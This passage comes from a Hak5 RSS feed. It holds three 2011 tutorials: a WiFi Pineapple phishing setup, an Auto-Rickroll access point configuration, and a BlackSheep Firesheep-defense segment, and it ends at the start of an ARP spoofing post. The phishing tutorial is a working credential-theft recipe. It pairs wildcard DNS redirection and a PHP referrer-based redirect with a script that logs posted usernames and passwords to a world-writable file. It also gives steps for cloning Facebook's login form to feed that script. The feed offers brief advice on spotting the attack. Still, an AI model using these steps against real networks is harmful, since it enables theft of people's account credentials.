<p>Alternatively, everything required for this hack can be <a href="http://Hak5.org/wp-content/uploads/2011/05/phish-pineapple.zip">downloaded in this archive</a>. </p>
<p>Copy the package files (*.ipk) to the <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> in /root/ using the scp command in Linux or an SCP utility in Windows like <a href="http://winscp.net/eng/index.php" target="_blank">WinSCP</a> or <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html" target="_blank">Plink</a>.</p>
<p>Open a shell on the <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> using your ssh client of choice (on Windows I recommend <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html" target="_blank">PuTTY</a>) and login as root. You should already be located in /root/ after logging in. Issue the &#8220;pwd&#8221; command to be sure, or change directory to /root/ with &#8220;cd /root/&#8221;. Verify that the packages have been copied by issuing the &#8220;ls&#8221; to list the contents of the directory. You should see the four package files listed. To install them all issue &#8220;opkg install *.ipk&#8221;</p>
<p>After a few moments each package should be installed. Now it is time to configure PHP and the HTTP server.</p>
<h2>Configure PHP and HTTPD</h2>
<p>Two changes need to be made in order for the HTTP server to recognize .php files and process them correctly. </p>
<p>First we&#8217;ll need to add a line to the httpd.conf file in /etc/ so either open it with your favorite text editor (vi is already installed) or simply issue the command &#8220;echo &#8220;*.php:/usr/bin/php&#8221; >> /etc/httpd.conf&#8221;. Verify that the line has been added with &#8220;cat /etc/httpd.conf&#8221;</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687866974/" title="httpd-conf by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5186/5687866974_0548c6a692.jpg" width="500" height="175" alt="httpd-conf"></a></p>
<p>Next we&#8217;ll need to add a line to the php.ini file in /etc/. Again open the file in an editor or add the line with &#8220;echo &#8220;cgi.force_redirect 0&#8243; >> /etc/php.ini&#8221; and verify with &#8220;grep cgi.force_redirect /etc/php.ini&#8221;</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687298671/" title="php-ini by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5188/5687298671_60a25f32da.jpg" width="500" height="145" alt="php-ini"></a></p>
<p>Now restart the web server either by issuing &#8220;/etc/init.d/httpd restart&#8221; or simpy rebooting the <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> with the &#8220;reboot&#8221; command. It&#8217;s also safe to simply unplug the power and plug it back in.</p>
<p>Once the HTTPD and PHP configuration files have been modified and the server has restarted we can move on to testing the PHP installation.</p>
<h2>Testing the PHP installation</h2>
<p>PHP has a handy little function for testing the its installation. If you rebooted your <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> you&#8217;ll need to log back into a shell as root. Once situated, change directory to /www/ with the &#8220;cd /www/&#8221; command. Now we&#8217;ll need to create a test.php file so issue &#8220;touch test.php&#8221;. Next issue &#8220;&lt;?php phpinfo(); ?&gt;&#8221; > test.php&#8221;. Verify that the string has written to the file with the command &#8220;cat test.php&#8221;.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687298703/" title="phpinfo1 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5183/5687298703_e36aed2dbe.jpg" width="500" height="106" alt="phpinfo1"></a></p>
<p>With the file written we can test the php install by navigating to test.php on the web server. Remember, following the instructions from the Auto-Rickrolling <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> article we&#8217;re able to get to the web server from any URL requested. Based on the dnsmasq.conf, there is no difference between example.com and google.com. Pointing your browser to, say, http://example.com/test.php should yield the following results:</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687867050/" title="phpinfo2 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5286/5687867050_b80374a9d6.jpg" width="500" height="323" alt="phpinfo2"></a></p>
<h2>Write redirection and capture scripts</h2>
<p>Given that the dnsmasq.conf file will send any URL requested to the root of the web server we will need to write a small PHP script to identify the requested URL and present the user with the corresponding page. Once the user logs into the faux page we&#8217;ll use an error.php script to capture the credentials and log them in a file.</p>
<p>Unfortunately at the time of writing I have been unable to convince the tiny web server to process php files as indexes. The cheap workaround for now is to write a simple meta redirect index.html file that points to our redirect.php script for the actual processing. Hopefully this step can be removed in the future, but for now you&#8217;ll need to open the index.html file in /www/ using your favorite editor and replace the contents with the following:</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687298747/" title="index-html by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5261/5687298747_dacf9f80e2.jpg" width="500" height="152" alt="index-html"></a></p>
<blockquote><pre>

&lt;html&gt; &lt;head&gt; &lt;meta http-equiv="REFRESH" content="0;url=redirect.php"&gt;
</pre>
</blockquote>
<p>Now for the fun page. Create a redirect.php file with the command &#8220;touch redirect.php&#8221; and open it with a text editor, for example &#8220;vi redirect.php&#8221;. </p>
<p>Note: If you&#8217;re new to vi here&#8217;s a bare-minimum introduction: There are two modes to vi, command mode and insert mode. By default you&#8217;ll be in command mode. Press &#8220;i&#8221; to enter insert mode allowing you to type into the file. Press ESC to get back to command mode. The command &#8220;:x&#8221; saves and quits. <a href="http://acms.ucsd.edu/info/vi_tutorial.shtml" target="_blank">Learn more about using vi</a>.</p>
<p>Here&#8217;s an example redirect.php script. Modify as you see necessary. We&#8217;ll break it down line by line.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687867136/" title="redirect-php by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5065/5687867136_1ea03d6801.jpg" width="500" height="151" alt="redirect-php"></a></p>
<blockquote><pre>
&lt;?php
$ref = $_SERVER['HTTP_REFERER'];

if (strpos($ref, "facebook")) { header('Location: facebook.html'); }

require('peets.html');

?&gt;
</pre>
</blockquote>
<p>The first line tells PHP to start processing the following lines of code.</p>
<p>The second sets the value of the variable &#8220;ref&#8221; as the HTTP_REFERER. This variable is obtained from &#8220;_SERVER&#8221; and basically tells us what URL the client is coming from. Since dnsmasq.conf is set to send any website to the root of our web server this could be anything.</p>
<p>The third line uses the srtpos function to look inside the &#8220;ref&#8221; variable that we just set and see if the word &#8220;facebook&#8221; is somewhere inside. This means that both &#8220;http://facebook.com&#8221; and &#8220;http://www.facebook.com&#8221; would return true. Note: Same goes for facebooksucks.com or any variation that contains the string &#8220;facebook&#8221;.</p>
<p>If the word &#8220;facebook&#8221; is found in the variable &#8220;ref&#8221; the function header will set the location of the browser to facebook.html – a file we&#8217;ll create here in a minute.</p>
<p>To phish multiple domains you would create additional similar if statements customized to the urls desired.</p>
<p>The fourth line will only be processed if the statements above aren&#8217;t found to be true. In our example we&#8217;re only looking for facebook but the list could be more extensive. The require function tells php to load up the contents of the file—in our case peets.html. This could be anything from terms of service agreement, an in-flight Internet purchase page or the old index file from our beloved Auto-Rickroll.</p>
<p>The fifth line closes the PHP processing.</p>
<p>In order to capture the data posted from our faux pages we&#8217;ll need to craft an error.php file. Without going into a line-by-line explanation, basically this file looks for two variables posted to it – name and pass – and writes them to the file bitches.txt</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687298819/" title="error-php by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5242/5687298819_99cedcbb1b.jpg" width="500" height="314" alt="error-php"></a></p>
<p>We&#8217;ll need to create the bitches.txt file in /www/ and change its permissions so issue both &#8220;touch /www/bitches.txt&#8221; and &#8220;chmod 777 /www/bitches.txt&#8221;</p>
<p>I have included a few lines to prevent tampering and add logging. The end of the file is basic html to display a faux &#8220;503 Service Unavailable&#8221; error. Again, this can be customized to your hearts content. For example, returning to the login page may convince an unwitting user that their password wasn&#8217;t accepted and give them the opportunity to try &#8220;their other password&#8221;. </p>
<h2>Modify a website to capture credentials</h2>
<p>The last step in this phishing attack is to actually rip and modify the pages of our faux sites. In our example so far we&#8217;ve been using facebook.com as the target, so follow this example. Using a web browser (or getting fancy with curl or wget) save the homepage of your target site. In chrome click the wrench and choose &#8220;Save page as&#8221;. Save the site as &#8220;Web page complete&#8221;. This will save not only the HTML but create a folder including the additional image and javascript components.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687298861/" title="facebook1 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5141/5687298861_bbafa04acd.jpg" width="500" height="301" alt="facebook1"></a></p>
<p>Open the html file in your favorite text editor and look for the following string: &#8220;form method=&#8221;post&#8221;". Set the action variable to equal &#8220;error.php&#8221;. </p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687867224/" title="facebook2 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5185/5687867224_75f4803497.jpg" width="500" height="216" alt="facebook2"></a></p>
<p>Now check for the string &#8220;input type=&#8221;text&#8221;" and find the username field. Change the name variable to equal &#8220;name&#8221; if it is not so already. </p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687867240/" title="facebook3-name by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5022/5687867240_216426dc67.jpg" width="500" height="137" alt="facebook3-name"></a></p>
<p>Finally check for the string &#8220;input type=&#8221;password&#8221;" and change the name variable to &#8220;pass&#8221;.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687867270/" title="facebook4-pass by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5142/5687867270_e5b4edf432.jpg" width="500" height="137" alt="facebook4-pass"></a></p>
<p>Your faux login page is now ready to be uploaded to the <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a>. Using a tool such as WinSCP copy the facebook.html and accompanying facebook folder to /www/ on the device.</p>
<p>With these three modifications your error.php script will pickup the contents of the name and pass text fields. Test this by browsing to facebook.com while connected to your <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a>. You should see your faux login page. Entering fake credentials should bring you to the error.php displaying a fake 503 error, and checking facebook.com/bitches.txt should display the captured information.</p>
<h2>How not to fall victim to this attack</h2>
<p>Obviously disk limitations on the <a href="http://hakshop.com/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> are going to prevent one from serving up face versions of every site on the Internet – so if you&#8217;re connected to one of these devious devices and can&#8217;t access an obscure URL, something is up. You&#8217;ll also notice that navigating to facebook.com in this example forwards you to facebook.com/facebook.html – which should be a sure sign of trouble. The most obvious part about this attack is that every domain you could possibly ping is going to report back a response from 192.168.1.1 – a huge red alert that you&#8217;re not in Kansas anymore.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5687867296/" title="ping-facebook by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5146/5687867296_974d4b988b.jpg" width="500" height="191" alt="ping-facebook"></a></p>
<p>Finally keep in mind that having two or three passwords isn&#8217;t enough. Every site needs its own secure and unique password. Consider using a password manager such as <a href="http://lastpass.com/" target="_blank">LastPass</a>, <a href="http://agilewebsolutions.com/onepassword" target="_blank">1Password</a> or <a href="http://keepass.info/" target="_blank">KeePass</a>.</p>
<p>For further reading and advice on identifying phishing sites see <a href="http://www.antiphishing.org/resources.html#advice" target="_blank">antiphishing.org</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/pineapple-phishing/feed</wfw:commentRss>
		<slash:comments>47</slash:comments>
		</item>
		<item>
		<title>Auto-Rickrolling WiFi Pineapple</title>
		<link>http://Hak5.org/hack/auto-rickrolling-wifi-pineapple</link>
		<comments>http://Hak5.org/hack/auto-rickrolling-wifi-pineapple#comments</comments>
		<pubDate>Tue, 26 Apr 2011 19:13:46 +0000</pubDate>
		<dc:creator>Darren Kitchen</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[WiFi Pineapple]]></category>
		<category><![CDATA[Hak.5]]></category>
		<category><![CDATA[help]]></category>
		<category><![CDATA[Jasager]]></category>
		<category><![CDATA[setup]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Wifi Pineapple]]></category>
		<category><![CDATA[wiki]]></category>

		<guid isPermaLink="false">http://www.Hak5.org/?p=3376</guid>
		<description><![CDATA[Turn your WiFi Pineapple or any OpenWRT based Wireless Accesspoint into a self contained Auto-Rickrolling device!]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fauto-rickrolling-wifi-pineapple"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fauto-rickrolling-wifi-pineapple&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>John Bebo&#8217;s Auto-Rickroll payload for the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> is an excellent example of using <a target="_blank" href="http://en.wikipedia.org/wiki/Dnsmasq">Dnsmasq</a> to forward targets to a hosted site. While this site could be malicious, perhaps hosing the <a target="_blank" href="http://code.google.com/p/beef/">Browser Exploitation Framework</a>, Bebo&#8217;s payload is a safe and simple prank. Any web site a victim attempts to browse to brings them to a <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> hosted page containing <a target="_blank" href="http://www.youtube.com/watch?v=dQw4w9WgXcQ">Rick Astley</a> ASCII Art and looping audio. It uses a similar technique employed by Captive Portals – something we&#8217;ll explore in more detail soon – except a lot more annoying.<span id="more-3376"></span></p>
<p>Thanks to great documentation from <a target="_blank" href="http://beboblog.johnbebo.com/2010/03/13/fon2100-and-jasager.aspx">Bebo</a> and Hak5 forum member <a target="_blank" href="http://www.hak5.org/forums/index.php?showtopic=17379">Psychosis</a> setting up your own Auto-rickrolling <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> is super simple. In fact, this will work on just about any OpenWRT based wireless access point – but we&#8217;ll be focusing on the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> specifically for its Jasager abilities.</p>
<p>This article will focus on setting up the Auto-Rickroll payload in Windows so the every handy <a target="_blank" href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">PuTTY</a> and <a target="_blank" href="http://winscp.net/eng/index.php">WinSCP</a> tools will be used. If you&#8217;re on Mac or Linux you already have SSH and SCP. We&#8217;ll also be taking a beginners approach, so if you&#8217;re a guru you can simply download the payload and take a look at the commands at the end of the article.</p>
<h2>Demonstration</h2>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/aMqmv0q0AAc?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=526" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/aMqmv0q0AAc?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=526" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>First begin by <a href="/wp-content/uploads/2011/04/pineapple-rickroll.zip"><b>download this package</b></a> containing all of the configuration and www files. Extract the contents to a temporary directory. You should notice index.html as well as NGGUP.mp3 and NGGUP.wav – these are the www files. You&#8217;ll also notice extension-less files dhcp, network and wireless. These are the configuration files.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658210697/" title="WiFi-Pineapple-auto-rickroll-1 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5066/5658210697_f80260f0b5.jpg" width="500" height="298" alt="WiFi-Pineapple-auto-rickroll-1"></a></p>
<p>Next connect your <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> to a computer via an Ethernet cable. In its default configuration the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> has the IP address of 192.168.1.1 and will assign your computer an IP address in that range using DHCP.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658783302/" title="wifi-pineapple-auto-rickroll-2 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5150/5658783302_f3af091f97.jpg" width="500" height="195" alt="wifi-pineapple-auto-rickroll-2"></a></p>
<p>To test your connection to the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> open a shell and issue the ipconfig command. You should have a 192.168.1.x IP address with your default gateway set as 192.168.1.1. Depending on your configuration you may need to disconnect from any wireless or other networks you are currently connected to. Issuing ping 192.168.1.1 should result in four replies.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658210821/" title="wifi-pineapple-auto-rickroll-3 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5141/5658210821_dc92fe98e5.jpg" width="472" height="220" alt="wifi-pineapple-auto-rickroll-3"></a></p>
<p>Now that you&#8217;re directly connected to the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> open WinSCP. Enter 192.168.1.1 as the host name. Leave 22 as the port number. Enter root for the user name and your password. By default the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> has a password of “pineapples are yummy”. Select SCP from File protocol and click Login. You may receive two errors regarding group lookup, which are safe to disregard.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658783588/" title="wifi-pineapple-auto-rickroll-4 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5268/5658783588_3100fee385.jpg" width="500" height="353" alt="wifi-pineapple-auto-rickroll-4"></a></p>
<p>Now that you&#8217;re logged into the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> with WinSCP you can begin transferring files. In the left-pane navigate to the temporary directory to which you extracted the files in the first step. The right pane will be /root on the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> by default. Select the 6 extracted files on the left and drag them to the right.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658783402/" title="wifi-pineapple-auto-rickroll-5 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5023/5658783402_dfb97c5872.jpg" width="500" height="338" alt="wifi-pineapple-auto-rickroll-5"></a></p>
<p>Click Copy to confirm the command and wait for the procedure to complete.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658210887/" title="wifi-pineapple-auto-rickroll-6 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5030/5658210887_cbdb0028ae.jpg" width="500" height="215" alt="wifi-pineapple-auto-rickroll-6"></a></p>
<p>Now that the files have been copied we&#8217;re ready to put them in the appropriate places on the device.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658210915/" title="wifi-pineapple-auto-rickroll-7 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5222/5658210915_25b8beafa8.jpg" width="421" height="234" alt="wifi-pineapple-auto-rickroll-7"></a></p>
<p>Open PuTTY and enter 192.168.1.1 in the host name field. Port 22 should be entered by default. Click Open to connect. The first time doing this you will be asked to save the key. Click yes if prompted.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658783680/" title="wifi-pineapple-auto-rickroll-8 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5062/5658783680_7cbb045282.jpg" width="466" height="448" alt="wifi-pineapple-auto-rickroll-8"></a></p>
<p>When prompted login as root. Again, the default password is “pineapplesareyummy” (sans quotes). Issuing the “ls” command will display the files we copied over in the previous step.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658211173/" title="wifi-pineapple-auto-rickroll-9 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5027/5658211173_40ca3557d0.jpg" width="500" height="314" alt="wifi-pineapple-auto-rickroll-9"></a></p>
<p>Move the index.html and NGGUP files to /www with the command “mv index.html NGGUP.* /www/” Issuing the “ls” command again will show that only the configuration files remain.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658211205/" title="wifi-pineapple-auto-rickroll-10 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5141/5658211205_db9a0503bc.jpg" width="500" height="314" alt="wifi-pineapple-auto-rickroll-10"></a></p>
<p>Before moving the configuration files to their appropriate location we&#8217;ll want to backup the existing files – just in case we ever want to go back to the default. Navigate to the config directory with the “cd /etc/config” command. Again “ls” will display all of the files in this directory.</p>
<p>Rename network, dhcp and wireless to network.bak, dhcp.bak and wireless.bak respectively using the mv command. For example, “mv dhcp dhcp.bak”</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658211309/" title="wifi-pineapple-auto-rickroll-12 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5023/5658211309_b6fdeb52f3.jpg" width="500" height="314" alt="wifi-pineapple-auto-rickroll-12"></a></p>
<p>Now you&#8217;re ready to move the auto-rickrolling configuration files to /etc/config. Since you&#8217;re already in that directory use the command “mv ~/* .” (notice the space between * and .). This command says to move (mv) everything (*) from the home directory (~/ – in our case /root since we&#8217;re logged in as root) to the current working directory (.).</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658783958/" title="wifi-pineapple-auto-rickroll-13 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5105/5658783958_36111684c1.jpg" width="500" height="314" alt="wifi-pineapple-auto-rickroll-13"></a></p>
<p>Again issuing “ls” will show that the configuration files have moved.</p>
<p>Next we&#8217;ll need to modify the dnsmasq config file. By default it does not exist in /etc/ so to create a new one we&#8217;ll need to issue the command “touch /etc/dnsmasq.conf”</p>
<p>Once the file has been created we&#8217;ll need to add one line to it. We could use a text editor such as vi but I find it easier to simply echo the line into the file. Issue “echo “address=/#/192.168.1.1” &gt; /etc/dnsmasq.conf” (mind the quotes around address=/#/192.168.1.1). The echo command prints whatever is written within the quotes. By default it is written to the screen, but since we used a greater-than sign we specified that the output of the echo command go into the file – in our case /etc/dnsmasq.conf. Alternatively if we were echoing multiple lines into the file we would use two consecurive greater-than signs, which append to the end of a file.</p>
<p>To verify that the configuration has been written issue “cat /etc/dnsmasq.conf”, which will return what we wrote in the previous step, sans quotes. The /#/ part of the command is a wildcard, meaning any address your target attempts to browse to will forward to, in this case, 192.168.1.1.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658784010/" title="wifi-pineapple-auto-rickroll-14 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5064/5658784010_3e7e4a4f99.jpg" width="500" height="314" alt="wifi-pineapple-auto-rickroll-14"></a></p>
<p>Now we&#8217;ll also need to modify the /etc/init.d/jasager configuration file so that is begins karma immediately upon powering on. This is the only step specific to the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> and can be considered optional. I like the idea of karma coming up on its own with this configuration – it really automates the whole attack. Since the <a href="http://hakshop.com/collections/frontpage/products/wifi-pineapple" target="_blank">WiFi Pineapple</a> doesn&#8217;t need Internet access (it&#8217;s forwarding everything to an internally hosted page) it&#8217;s just a matter of plugging in the battery pack and turning it on.</p>
<p>We&#8217;ll need to add a block of commands to a function, so a proper text editor is in order. For this issue “vi /etc/init.d/jasager”</p>
<p>Cursor down to the iptables command and press “i” to insert. Now prepend a # to the command to comment it out. Next, after the tail command and before the function closes enter the following string of commands exactly as outlined here. Save and close the file by pressing the escape key followed by : (colon), x (x) and enter.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658211447/" title="wifi-pineapple-auto-rickroll-15 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5185/5658211447_763090515b.jpg" width="500" height="314" alt="wifi-pineapple-auto-rickroll-15"></a></p>
<p>Finally our configuration changes are complete and it is time to reboot, so either pull the plug on the pineapple or issue the “reboot” command. When everything comes back up either stay connected via ethernet or connect via WiFi to the newly renamed SSID of “ricknet” (or any other Jasager-ized SSID). Browse to any website and enjoy the rickroll action.</p>
<p><a href="http://www.flickr.com/photos/darrenkitchen/5658784098/" title="wifi-pineapple-auto-rickroll-16 by Darren Kitchen, on Flickr"><img src="http://farm6.static.flickr.com/5028/5658784098_9ccf902b25.jpg" width="500" height="338" alt="wifi-pineapple-auto-rickroll-16"></a></p>
<p><b>Quick steps</b></p>
<blockquote><p>
#scp * to your pineapple<br />
mv *. /etc/config<br />
mv * /www/<br />
touch /etc/dnsmasq.conf<br />
echo &#8220;address=/#/192.168.1.1&#8243; > /etc/dnsmasq.conf<br />
vi /etc/init.d/jasager<br />
#add to start()<br />
wlanconfig ath0 create wlandev wifi0 wlanmode master 2>&#038;1 > /dev/null<br />
iwpriv ath0 karma 1<br />
brctl addif br-lan ath0<br />
ifconfig eth0 up<br />
#comment out iptables command<br />
reboot
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/auto-rickrolling-wifi-pineapple/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Blacksheep – Firesheep defense</title>
		<link>http://Hak5.org/hack/blacksheep-%e2%80%93-firesheep-defense</link>
		<comments>http://Hak5.org/hack/blacksheep-%e2%80%93-firesheep-defense#comments</comments>
		<pubDate>Thu, 14 Apr 2011 05:56:02 +0000</pubDate>
		<dc:creator>paul</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[add-on]]></category>
		<category><![CDATA[blacksheep]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[firesheep]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.Hak5.org/?p=3260</guid>
		<description><![CDATA[
			
				
			
		
This segment, Shannon demonstrates some protecting from Firesheep using; BlackSheep.



Shannon shows you BlackSheep, which does the exact opposite. If FireSheep is being used by someone on your network, you can be warned and block against ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Fblacksheep-%25e2%2580%2593-firesheep-defense"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2FHak5.org%2Fhack%2Fblacksheep-%25e2%2580%2593-firesheep-defense&amp;source=Hak5&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>This segment, Shannon demonstrates some protecting from Firesheep using; BlackSheep.</p>
<div style="clear:both;"></div>
<p><span id="more-3260"></span></p>
<p><object width="555" height="312"><param name="movie" value="http://www.youtube.com/v/ArxUZnmS3NY?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=1252" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed type="application/x-shockwave-flash" width="555" height="312" src="http://www.youtube.com/v/ArxUZnmS3NY?version=3&amp;hl=en_US&amp;fs=1&amp;hd=1&amp;showinfo=0&amp;rel=0&amp;showsearch=0&amp;start=1252" wmode="transparent" allowfullscreen="true" allowscriptaccess="always"></embed></object></p>
<p>Shannon shows you BlackSheep, which does the exact opposite. If FireSheep is being used by someone on your network, you can be warned and block against it. BlackSheep is a Firefox add-on, just like FireSheep, that was based right off the same source code. So it reuses the same network listening back-end and that same list of sites and corresponding cookies, etc. By doing this, it ensure that the fake traffic generated by BlackSheep is what FireSheep is expecting to see. BlackSheep even will show you the IP address of the person’s computer trying to hijack your account.</p>
<p>Now to get it working. First, download the BlackSheep add-on. Disable FireSheep if you have it as well, so BlackSheep doesn’t detect it.</p>
<p>In the options menu, choose the interval you want BlackSheep to create fake traffic. It’s default is 5 minutes which works fine. Click ok and you’re done configuring. Now, if FireSheep is detected on your network, you’ll see this popup on your screen.</p>
<p>BlackSheep is available for Mac, Windows, and Linux. You still need WinPCap if you’re on Windows and it only works with the Firefox, and only 32-bit.</p>
<p>Although BlackSheep does help with FireSheep, you should still be using HTTPS for your surfing.</p>
<p><a href="http://research.zscaler.com/2010/11/blacksheep-tool-to-detect-firesheep.html">Download Blacksheep</a></p>
]]></content:encoded>
			<wfw:commentRss>http://Hak5.org/hack/blacksheep-%e2%80%93-firesheep-defense/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>ARP Spoofing with DSniff</title>
		<link>http://Hak5.org/hack/arp-spoofing-with-dsniff</link>
		<comments>http://Hak5.org/hack/arp-spoofing-with-dsniff#comments</comments>
		<pubDate>Thu, 14 Apr 2011 05:01:51 +0000</pubDate>
		<dc:creator>paul</dc:creator>
				<category><![CDATA[Hack]]></category>
		<category><![CDATA[apt-get]]></category>
		<category><![CDATA[arpspoof]]></category>
		<category><![CDATA[command line]]></category>
		<category><![CDATA[driftnet]]></category>
		<category><![CDATA[dsniff]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[nets]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[Packet]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.Hak5.org/?p=3253</guid>
		<description><![CDATA[
			
				
			
		
This segment with Darren he demos a couple of tools for us linux folks.



Again the premise is all the same. We’ll be using command line tools to tell our victim we’re the router, and vise ...]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2FHak5.org%2Fhack%2Farp-spoofing-with-dsniff"><br />
